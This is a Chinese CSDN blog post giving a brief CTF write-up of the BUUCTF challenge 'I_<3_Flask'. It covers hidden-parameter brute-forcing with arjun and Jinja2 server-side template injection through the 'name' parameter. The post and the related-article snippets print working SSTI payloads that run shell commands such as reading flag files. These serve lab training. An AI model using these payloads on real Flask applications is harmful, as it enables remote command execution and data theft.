[RootersCTF2019]I_＜3_Flask

最新推荐文章于 2024-06-11 22:45:16 发布
最新推荐文章于 2024-06-11 22:45:16 发布
阅读量66 收藏
点赞数
分类专栏： BUUctf 文章标签： flask python 后端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_64180167/article/details/133712231
版权

第一次遇到参数爆破 记录一下

确实 我扫目录 robots.txt 啥都没有 功能点都没有.....

但是确实没有想到参数爆破

pip3 install arjun

 

代码为

arjun -u   url -m -c 100 -d 5

-d选项来延迟请求发送的间隔时间

-c可以通过指定一次发送的参数数量

很慢 等他爆破吧

爆出来了 name

我们去输入一下

这道题目就提示 SSTI

很简单没有过滤

{{lipsum.__globals__['os'].popen("cat f*").read()}}

没啥特殊的 就是参数爆破第一次遇到

双层小牛堡
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
paddleOCR_flask_web服务化.rar
08-20
paddleOCR+flask实现web接口化服务，直接调用接口识别图像中的文字，支持脚本测试。
flask_restplus.rar
07-02
flask-sql-blueprint是博客‘再遇Flask restplus’的代码，同时其中还有四个todo代码,是restplus官方推出的四个经典实例，希望对大家有一点点帮助~
BUUCTF-[RootersCTF2019]I_＜3_Flask
weixin_49803180的博客
07-17 218
直接利用flask的一个方法：lipsum，在lipsum.__globals__含有os模块，利用方法：{{lipsum.__globals__['os'].popen('ls').read()}}name={{''.__class__.__base__.__subclasses__()[132].__init__}} #查看模块是否被加载。name={{%27%27.__class__.__base__.__subclasses__()}}#查看当前页面下，加载的子类。加载成功就可以利用了。
BUUCTF [RootersCTF2019] I_＜3_Flask
Senimo
12-19 1212
BUUCTF [RootersCTF2019] I_<3_Flask 考点： Jinjia2模版注入 Arjun参数爆破工具 tplmap模版注入工具 启动环境： 一道Flask题目，大概率为模版注入，先用Arjun工具对可利用传参进行爆破： python3 arjun.py -u http://xxx.node3.buuoj.cn/ -m GET -c 200 得到参数名：name 尝试传入值：?name=1 页面发生了变化，传参被成功执行，尝试模版注入： ?name={{2*2}}
[RootersCTF2019]I_＜3_Flask 1&arjun爆破参数
plant1234的博客
10-04 1568
根据测试发现有ssti模板注入。
[RootersCTF2019]I_＜3_Flask -不会编程的崽
不会编程的崽的博客
03-23 509
参数爆破 简单的jinja&ssti
[RootersCTF2019]I_＜3_Flask（参数爆破工具arjun）
qq_44657899的博客
08-16 1594
arjun安装 下载地址 s0md3v /Arjun cd Arjun-2.1.4 pip3 install arjun py -3 setup.py install 如果输入arjun -h有如下输出则安装成功 解题 首先使用arjun爆破参数 arjun -u http://aac8b7e4-008f-486a-9642-232db8c62642.node4.buuoj.cn:81/ -c 100 -d 5 参数： -d DELAY Delay between requests in secon
BUUCTF RootersCTF2019]I_＜3_Flask
CyhDl666的博客
03-17 296
文章目录手注tplmap 手注 刚进入题目 知道是SSTI注入 但是没找到注入点 学到了一个新的工具 Arjun 扫描到get参数name ?name={{'aaa'.upper()}} 确定是SSTI注入 构造payload： {% for c in [].__class__.__base__.__subclasses__()%}{% if c.__name__== 'Popen' %}{{c.__init__.__globals__['os'].popen('ls').read()}}{% en
题解([RootersCTF2019]I_＜3_Flask,[CISCN2019 华东南赛区]Double Secret,[CISCN2019 华东南赛区]Web4)
2202_75361164的博客
11-12 159
抓取/flag，并且将session更改为：eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZUjA4g.TDHugXodYeccRQbQmc1SZh9CffA。直接看/flag路由，发现session[‘username’] == 'fuck’时给flag，所以要伪造session，不过我们需要先得到密钥。发现被过滤了，有点不对劲，尝试/index.php发现404，推测为python，尝试。成功，尝试读取/flag，被过滤了。3.读取/app/app.py。
BUUCTF--[RootersCTF2019]I_＜3_Flask
qq_46263951的博客
07-15 277
进入页面后发现并没有什么可以利用的地方 利用Arjun扫描可以得到一个参数name 接下来要利用SSTI模板注入 尝试模板注入,发现可以成功执行 ?name={{8*8}} 方法一： 直接可以利用此漏洞执行payload ?name={{lipsum.__globals__.os.popen('cat flag.txt').read()}} 方法二： 使用tplmap，可以得到是存在jinjia2模版注入再进行getshell即可拿到flag 由于我这边...
[RootersCTF2019]I_＜3_Flask——二营长，我的脚本呢？
Mrs_H的博客
11-19 1937
[RootersCTF2019]I_＜3_Flask
第三次课c3.zip_flask_flask网站_网站 python
09-23
使用python，flask框架搭建类似Instagram网站
douban_flask_pythonflask豆瓣_python_
10-02
PYTHON 获得豆瓣电影榜单TOP250 爬虫升级版本
toutiao-backend_Flask框架_flask_
09-30
基于python语言，利用flask框架开发的类似新闻头条web
python安装flask，flask框架，使用静态文件、模板、get和post请求
最新发布
qq_34631220的博客
06-11 540
模板文件存储的文件夹，可以不传，默认为 templates。静态文件存储的文件夹，可以不传，默认为 static。1.创建app.py文件。2.静态文件和模板使用。
利用flask + pymysql监测数据同步中的数据是否完整
qq969887453的博客
06-11 419
最近项目搞重构，将原有的系统拆分成了多个子系统。但是有数据表需要在不同系统中数据，同时为了解决项目性能最了一个很简单的方案，就是公共数据存在每个系统之中。分析这些表，这些表相比源数据表，表结构完全相同，除了名称加了MD前缀。/msp/api/download/ GET。参数：target_db_name 需要检查的数据库名称。target_db 目标数据库名称。tables 需要检查的表。参数：source_db 源数据库名称。2、自定义检查系统表数据。
Flask 学习笔记 总结
Jay17的博客
06-06 1320
Flask 学习笔记 总结
每日一题——Python实现PAT乙级1042 字符统计（举一反三+思想解读+逐步优化）
weixin_44915521的博客
06-09 1126
这些编程思想和哲学理念在编写高效、健壮的代码时至关重要。通过理解和应用这些原则，我们不仅能够写出性能更好的代码，还能在不同情况下做出更加明智的设计决策。通过理解和应用这些哲学和编程思想，可以在不同场景中灵活运用，写出更加高效、健壮和灵活的代码。评估需求：根据实际需求选择最合适的数据结构和算法。避免冗余：尽量避免不必要的重复计算和操作。权衡利弊：在空间和时间之间找到最佳平衡点。灵活应变：根据输入数据的特性，灵活使用动态数据结构和提前决策策略。
[rootersctf2019]i_<3_flask
04-09
不好意思，我是语言模型AI，无法直接回答该问题，但是我可以帮您翻译该问题的意思，该题目应该是一道CTF比赛中的题目，题目名称为"[rootersctf2019]i_<3_flask"。关于具体内容需要参加比赛的选手来解答。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值